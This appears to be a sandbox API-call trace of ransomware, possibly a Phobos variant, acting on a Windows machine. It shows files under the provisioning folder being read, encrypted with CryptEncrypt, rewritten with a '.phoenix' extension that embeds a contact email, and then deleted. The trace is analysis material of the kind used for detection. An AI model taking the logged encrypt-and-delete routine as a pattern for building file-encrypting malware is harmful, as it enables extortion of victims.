	[0236.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.225] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.225] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0236.226] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.226] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c4, lpOverlapped=0x0) returned 1
	[0236.239] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0236.239] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.239] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0236.239] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.239] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.239] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0236.239] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.240] CryptDestroyKey (hKey=0x151140) returned 1
	[0236.240] CloseHandle (hObject=0x2d4) returned 1
	[0236.240] CloseHandle (hObject=0x2f4) returned 1
	[0236.240] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0236.241] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.241] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.241] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=710) returned 1
	[0236.241] CloseHandle (hObject=0x2f4) returned 1
	[0236.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0236.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.241] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.241] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.242] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.242] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.242] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0236.242] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.242] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c6, lpOverlapped=0x0) returned 1
	[0236.279] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0236.279] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0236.280] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0236.280] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.281] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.281] CryptDestroyKey (hKey=0x151400) returned 1
	[0236.281] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.281] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.281] CloseHandle (hObject=0x2f4) returned 1
	[0236.281] CloseHandle (hObject=0x2d4) returned 1
	[0236.281] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml")) returned 1
	[0236.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0236.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.282] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=846) returned 1
	[0236.282] CloseHandle (hObject=0x2d4) returned 1
	[0236.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0236.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0236.283] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.283] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0236.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0236.283] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0236.283] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.283] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x34e, lpOverlapped=0x0) returned 1
	[0236.621] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0236.621] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0236.622] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0236.622] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0236.622] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0236.622] CryptDestroyKey (hKey=0x151180) returned 1
	[0236.622] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0236.622] CryptDestroyKey (hKey=0x151640) returned 1
	[0236.622] CloseHandle (hObject=0x2d4) returned 1
	[0236.622] CloseHandle (hObject=0x2f4) returned 1
	[0236.622] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.114] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0237.114] CloseHandle (hObject=0x2d4) returned 1
	[0237.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0237.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.115] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.115] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.115] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0237.115] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.115] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0237.116] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0237.116] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0237.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0237.117] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.117] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0237.117] CryptDestroyKey (hKey=0x151680) returned 1
	[0237.117] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0237.117] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.117] CloseHandle (hObject=0x2d4) returned 1
	[0237.117] CloseHandle (hObject=0x2e4) returned 1
	[0237.117] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0237.119] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.119] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0237.119] CloseHandle (hObject=0x2e4) returned 1
	[0237.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.127] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.127] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.127] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0237.127] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
